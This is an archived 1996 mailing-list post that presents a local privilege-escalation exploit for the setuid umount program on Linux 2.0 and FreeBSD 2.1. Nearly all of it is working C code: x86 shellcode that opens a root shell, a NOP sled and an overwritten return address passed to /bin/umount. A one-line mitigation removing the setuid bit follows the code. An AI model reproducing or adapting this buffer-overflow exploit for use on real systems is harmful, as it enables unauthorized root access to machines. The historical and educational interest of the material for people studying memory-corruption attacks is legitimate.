home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_um.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  1.8 KB  |  82 lines

  1.  
  2.                          Linux & BSD's umount exploit
  3.                                        
  4.    Paulo Jorge Alves Oliveira (pjao@dux.isec.pt)
  5.    Tue, 29 Oct 1996 12:38:52 +0100
  6.    
  7. Hello,
  8.  
  9.   there is a bug in berkeley-derived umount, which allows attacker to
  10. get root access (see freebsd-security for details). Here is exploit for
  11. Linux (tested on 2.0.XX), for BSD (tested on FreeBSD 2.1) and a quick
  12. soluction.
  13.  
  14. Best regards, Paulo
  15.  
  16. -------------------------------------- linux_umount_exploit.c ----------
  17. #include <stdio.h>
  18. #include <unistd.h>
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <fcntl.h>
  22. #include <sys/stat.h>
  23.  
  24. #define PATH_MOUNT "/bin/umount"
  25. #define BUFFER_SIZE 1024
  26. #define DEFAULT_OFFSET 50
  27.  
  28. u_long get_esp()
  29. {
  30.   __asm__("movl %esp, %eax");
  31.  
  32. }
  33.  
  34. main(int argc, char **argv)
  35. {
  36.   u_char execshell[] =
  37.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  38.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  39.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  40.  
  41.    char *buff = NULL;
  42.    unsigned long *addr_ptr = NULL;
  43.    char *ptr = NULL;
  44.  
  45.    int i;
  46.    int ofs = DEFAULT_OFFSET;
  47.  
  48.    buff = malloc(4096);
  49.    if(!buff)
  50.    {
  51.       printf("can't allocate memory\n");
  52.       exit(0);
  53.    }
  54.    ptr = buff;
  55.  
  56.    /* fill start of buffer with nops */
  57.  
  58.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  59.    ptr += BUFFER_SIZE-strlen(execshell);
  60.  
  61.    /* stick asm code into the buffer */
  62.  
  63.    for(i=0;i < strlen(execshell);i++)
  64.       *(ptr++) = execshell[i];
  65.  
  66.    addr_ptr = (long *)ptr;
  67.    for(i=0;i < (8/4);i++)
  68.       *(addr_ptr++) = get_esp() + ofs;
  69.    ptr = (char *)addr_ptr;
  70.    *ptr = 0;
  71.  
  72.    (void)alarm((u_int)0);
  73.    execl(PATH_MOUNT, "umount", buff, NULL);
  74. }
  75.  
  76.  
  77. --------------------------------------------------------------------------
  78.  
  79.   Here is a little solution --
  80.     chmod -s /bin/umount
  81.  This way only root can run this command.
  82.